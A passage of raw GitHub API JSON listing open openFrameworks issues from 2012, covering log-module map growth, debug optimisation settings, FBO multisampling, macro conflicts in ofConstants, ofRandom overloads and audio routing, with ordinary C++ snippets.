remove","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2012-03-04T10:54:12Z","updated_at":"2012-03-06T15:06:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","id":3476540,"number":1022,"title":"Optimisation consistency","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-03-02T13:25:15Z","updated_at":"2012-03-30T16:34:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","id":3462226,"number":1019,"title":"ofFbo needs consideration as far as MRT + MSAA","user":{"login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","html_url":"https://github.com/kpasko","followers_url":"https://api.github.com/users/kpasko/followers","following_url":"https://api.github.com/users/kpasko/following","gists_url":"https://api.github.com/users/kpasko/gists{/gist_id}","starred_url":"https://api.github.com/users/kpasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kpasko/subscriptions","organizations_url":"https://api.github.com/users/kpasko/orgs","repos_url":"https://api.github.com/users/kpasko/repos","events_url":"https://api.github.com/users/kpasko/events{/privacy}","received_events_url":"https://api.github.com/users/kpasko/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-03-01T19:42:09Z","updated_at":"2012-03-01T19:42:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","id":3438233,"number":1007,"title":"bug #defines in ofConstants conflict with other libraries","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-02-29T15:31:18Z","updated_at":"2012-03-01T04:33:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","id":3432042,"number":1005,"title":"feature ofRandom(ofVec3f) ","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-02-29T06:32:03Z","updated_at":"2012-03-01T13:02:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","id":3401755,"number":1001,"title":"OF app sound out not available from Jack","user":{"login":"enrike","id":710785,"avatar_url":"https://secure.gravatar.com/avatar/719e9e7ca6d6d88f3b8da82832cc94c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"719e9e7ca6d6d88f3b8da82832cc94c7","url":"https://api.github.com/users/enrike","html_url":"https://github.com/enrike","followers_url":"https://api.github.com/users/enrike/followers","following_url":"https://api.github.com/users/enrike/following","gists_url":"https://api.github.com/users/enrike/gists{/gist_id}","starred_url":"https://api.github.com/users/enrike/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/enrike/subscriptions","organizations_url":"https://api.github.com/users/enrike/orgs","repos_url":"https://api.github.com/users/enrike/repos","events_url":"https://api.github.com/users/enrike/events{/privacy}","received_events_url":"https://api.github.com/users/enrike/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-02-27T14:59:34Z","updated_at":"2012-05-18T08:47:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/987","id":3387163,"number":987,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-25T20:25:00Z","updated_at":"2012-02-25T20:25:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/985","id":3386914,"number":985,"title":"Make logging messages more informative","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":33,"created_at":"2012-02-25T19:41:58Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/984","id":3386889,"number":984,"title":"Replace printf() occurences by ofLog() in the core addons","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"milestone":null,"comments":5,"created_at":"2012-02-25T19:36:51Z","updated_at":"2013-02-22T17:59:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/976","id":3382990,"number":976,"title":"ofVec2f::average has unexpected/clumsy behaviour","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-02-25T03:45:02Z","updated_at":"2012-02-27T13:35:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"`ofVec2f` has a function called `average` 